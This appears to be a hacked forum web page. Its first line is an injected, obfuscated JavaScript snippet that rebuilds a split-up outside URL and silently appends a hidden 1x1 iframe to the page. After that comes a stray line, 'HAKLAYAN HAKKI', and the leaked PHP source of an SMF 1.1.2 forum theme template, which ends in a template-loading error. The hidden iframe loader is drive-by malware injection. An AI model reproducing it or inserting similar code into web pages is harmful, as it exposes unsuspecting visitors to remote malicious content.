mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);

 

HAKLAYAN HAKKI

// Initialize the template... mainly little settings. function template_init() { global $context, $settings, $options, $txt; if(!$context['user']['is_guest'] && isset($_POST['options']['theme_color'])) { include_once($GLOBALS['sourcedir'] . '/Profile.php'); makeThemeChanges($context['user']['id'], $settings['theme_id']); $options['theme_color'] = $_POST['options']['theme_color']; } /* Use images from default theme when using templates from the default theme? if this is 'always', images from the default theme will be used. if this is 'defaults', images from the default theme will only be used with default templates. if this is 'never' or isn't set at all, images from the default theme will not be used. */ $settings['use_default_images'] = 'never'; /* What document type definition is being used? (for font size and other issues.) 'xhtml' for an XHTML 1.0 document type definition. 'html' for an HTML 4.01 document type definition. */ $settings['doctype'] = 'xhtml'; /* The version this template/theme is for. This should probably be the version of SMF it was created for. */ $settings['theme_version'] = '1.1.2'; /* Set a setting that tells the theme that it can render the tabs. */ $settings['use_tabs'] = true; /* Use plain buttons - as oppossed to text buttons? */ $settings['use_buttons'] = true; /* Show sticky and lock status seperate from topic icons? */ $settings['seperate_sticky_lock'] = true; } // The main sub template above the content. function template_main_above() { global $context, $settings, $options, $scripturl, $txt, $forum_version, $language, $modSettings, $colorpath, $buttonpath; $csect_cookie = 'SMF_user_' . $context['user']['id'] . '_CSect'; if(isset($_COOKIE[$csect_cookie]) && !empty($_COOKIE[$csect_cookie])) $settings['collapsed_sects'] = explode("\n", $_COOKIE[$csect_cookie]); $settings['csect_cookie'] = $csect_cookie; if (isset($options['theme_color'])) $mycolor = $options['theme_color']; else { // Defaults. $options['theme_color'] = isset($settings['theme_default_color']) ? $settings['theme_default_color'] : 'default'; $mycolor=$options['theme_color']; } if(isset($settings['allow_color_change']) && $settings['allow_color_change'] == 'no') { // Set user back to default theme if "personal theme option" is disabled $options['theme_color'] = isset($settings['theme_default_color']) ? $settings['theme_default_color'] : 'default'; $mycolor=$options['theme_color']; } //Set path for the color related images if ($mycolor == 'default' || $mycolor == 'blue_dark' || $mycolor == 'green_dark' || $mycolor == 'red_dark') { $colorpath = "dark"; $buttonpath = "/"; } else if ($mycolor == 'yellow_light' || $mycolor == 'blue_light' || $mycolor == 'green_light' || $mycolor == 'red_light') { $colorpath = "light"; $buttonpath = "/light/"; } // Show right to left and the character set for ease of translating. echo ' ', empty($context['robot_no_index']) ? '' : ' ', ' ', $context['page_title'], ''; // The ?fin11 part of this link is just here to make sure browsers don't cache it wrongly. echo ' '; /* Internet Explorer 4/5 and Opera 6 just don't do font sizes properly. (they are big...) Thus, in Internet Explorer 4, 5, and Opera 6 this will show fonts one size smaller than usual. Note that this is affected by whether IE 6 is in standards compliance mode.. if not, it will also be big. Standards compliance mode happens when you use xhtml... */ if ($context['browser']['needs_size_fix']) echo ' '; // Show all the relative links, such as help, search, contents, and the like. echo ' '; // If RSS feeds are enabled, advertise the presence of one. if (!empty($modSettings['xmlnews_enable'])) echo ' '; // If we're viewing a topic, these should be the previous and next topics, respectively. if (!empty($context['current_topic'])) echo ' '; // If we're in a board, or a topic for that matter, the index will be the board's index. if (!empty($context['current_board'])) echo ' '; // We'll have to use the cookie to remember the header... if ($context['user']['is_guest']) $options['collapse_header'] = !empty($_COOKIE['upshrink']); // Output any remaining HTML headers. (from mods, maybe?) echo $context['html_headers'], ' '; // the routine for the info center upshrink echo '
'; // clear floating echo'
'; // Show the menu here, according to the menu sub template. echo' '; // News bar echo'
'; // Show a random news item? (or you could pick one from news_lines...) if (!empty($settings['enable_news'])) { echo '
', $context['current_time'] , '
News: ', $context['random_news_line'], '
'; } else { echo '
', $context['current_time'] , '
'; } echo '
'; // The main content should go here. echo'
'; if ($context['user']['is_admin']) { if (empty($settings['theme_version_attention'])) { if ($forum_version != 'SMF 1.1.2') echo '
!!
Attention of PDX-DK theme:
This theme doesn\'t correspond to the version of SMF that you are using. This theme is made for SMF 1.1.2
'; } if (empty($txt['necessary_to_translate'])) { echo '
!!
Attention of pdx-dk theme:
You should put "Modifications.' , $language , '.php" on the "languages" directory ( ', $settings['theme_url'], '/languages/ ) in the theme of pdx-dk.

Copy "Modifications.english.php" of the "languages" directory of PDX-DK onto the first. Next, rename it according to the language for which you use the file.
'; } } } function template_main_below() { global $context, $settings, $options, $scripturl, $txt; echo '
'; // Show the "Powered by" and "Valid" logos, as well as the copyright. Remember, the copyright must be somewhere! echo '
'; // Show the load time? if ($context['show_load_time']) echo ' ', $txt['smf301'], $context['load_time'], $txt['smf302'], $context['load_queries'], $txt['smf302b'], ''; // This is an interesting bug in Internet Explorer AND Safari. Rather annoying, it makes overflows just not tall enough. if (($context['browser']['is_ie'] && !$context['browser']['is_ie4']) || $context['browser']['is_mac_ie'] || $context['browser']['is_safari'] || $context['browser']['is_firefox']) { // The purpose of this code is to fix the height of overflow: auto div blocks, because IE can't figure it out for itself. echo ' '; } // The following will be used to let the user know that some AJAX process is running echo ' '; } // Show a linktree. This is that thing that shows "My Community | General Category | General Discussion".. function theme_linktree() { global $context, $settings, $options, $scripturl, $txt; // Do not display the linktree on search page if (!$context['current_action'] == 'search2') { echo'
'; // Search within current topic? if (!empty($context['current_topic'])) echo ' '; // If we're on a certain board, limit it to this board ;). elseif (!empty($context['current_board'])) echo ' '; echo '
'; // Folder style or inline? Inline has a smaller font. echo '
'; } } // Show the menu up top. Something like [home] [help] [profile] [logout]... function template_menu() { global $context, $settings, $options, $scripturl, $txt; // Work out where we currently are. $current_action = 'home'; if (in_array($context['current_action'], array('admin', 'ban', 'boardrecount', 'cleanperms', 'detailedversion', 'dumpdb', 'featuresettings', 'featuresettings2', 'findmember', 'maintain', 'manageattachments', 'manageboards', 'managecalendar', 'managesearch', 'membergroups', 'modlog', 'news', 'optimizetables', 'packageget', 'packages', 'permissions', 'pgdownload', 'postsettings', 'regcenter', 'repairboards', 'reports', 'serversettings', 'serversettings2', 'smileys', 'viewErrorLog', 'viewmembers'))) $current_action = 'admin'; if (in_array($context['current_action'], array('search', 'admin', 'calendar', 'profile', 'mlist', 'register', 'login', 'help', 'pm'))) $current_action = $context['current_action']; if ($context['current_action'] == 'search2') $current_action = 'search'; if ($context['current_action'] == 'theme') $current_action = isset($_REQUEST['sa']) && $_REQUEST['sa'] == 'pick' ? 'profile' : 'admin'; // Are we using right-to-left orientation? if ($context['right_to_left']) { $first = 'last'; $last = 'first'; } else { $first = 'first'; $last = 'last'; } // Start of the tab section. echo '
'; // Show the [home] button. if (!empty($settings['pdx_forum_button'])) echo '
' , $txt[103] , '
'; if (!empty($settings['pdx_forum_button'])) { // Show the [home] button. echo ($current_action=='home' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt['pdx_forum_button_forum'] , '
' , $current_action == 'home' ? '
' : '
'; } else { // Show the [forum] button. echo ($current_action=='home' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt[103] , '
' , $current_action == 'home' ? '
' : '
'; } // Show the [help] button. echo ($current_action == 'help' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt[119] , '
' , $current_action == 'help' ? '
' : '
'; // How about the [search] button? if ($context['allow_search']) echo ($current_action == 'search' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt[182] , '
' , $current_action == 'search' ? '
' : '
'; // Is the user allowed to administrate at all? ([admin]) if ($context['allow_admin']) echo ($current_action == 'admin' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt[2] , '
' , $current_action == 'admin' ? '
' : '
'; // Edit Profile... [profile] if ($context['allow_edit_profile']) echo ($current_action == 'profile' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt[79] , '
' , $current_action == 'profile' ? '
' : '
'; // Go to PM center... [pm] if ($context['user']['is_logged'] && $context['allow_pm']) echo ($current_action == 'pm' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt['pm_short'] , ' ', $context['user']['unread_messages'] > 0 ? '['. $context['user']['unread_messages'] . ']' : '' , '
' , $current_action == 'pm' ? '
' : '
'; // The [calendar]! if ($context['allow_calendar']) echo ($current_action == 'calendar' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt['calendar24'] , '
' , $current_action == 'calendar' ? '
' : '
'; // the [member] list button if ($context['allow_memberlist']) echo ($current_action == 'mlist' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt[331] , '
' , $current_action == 'mlist' ? '
' : '
'; // If the user is a guest, show [login] button. if ($context['user']['is_guest']) echo ($current_action == 'login' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt[34] , '
' , $current_action == 'login' ? '
' : '
'; // If the user is a guest, also show [register] button. if ($context['user']['is_guest']) echo ($current_action == 'register' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt[97] , '
' , $current_action == 'register' ? '
' : '
'; // Otherwise, they might want to [logout]... if ($context['user']['is_logged']) echo ($current_action == 'logout' || $context['browser']['is_ie4']) ? '' : '' , '
' , $txt[108] , '
' , $current_action == 'logout' ? '
' : '
'; // The end of tab section. } // Generate a strip of buttons, out of buttons. function template_button_strip($button_strip, $direction = 'top', $force_reset = false, $custom_td = '') { global $settings, $buttons, $context, $txt, $scripturl, $buttonpath; if (empty($button_strip)) return ''; // Create the buttons... foreach ($button_strip as $key => $value) { if (isset($value['test']) && empty($context[$value['test']])) { unset($button_strip[$key]); continue; } elseif (!isset($buttons[$key]) || $force_reset) $buttons[$key] = '' . ($settings['use_image_buttons'] ? '' . $txt[$value['text']] . '' : $txt[$value['text']]) . ''; $button_strip[$key] = $buttons[$key]; } echo ' ', implode($context['menu_separator'], $button_strip) , ''; } ?>Unable to load the 'main_above' template.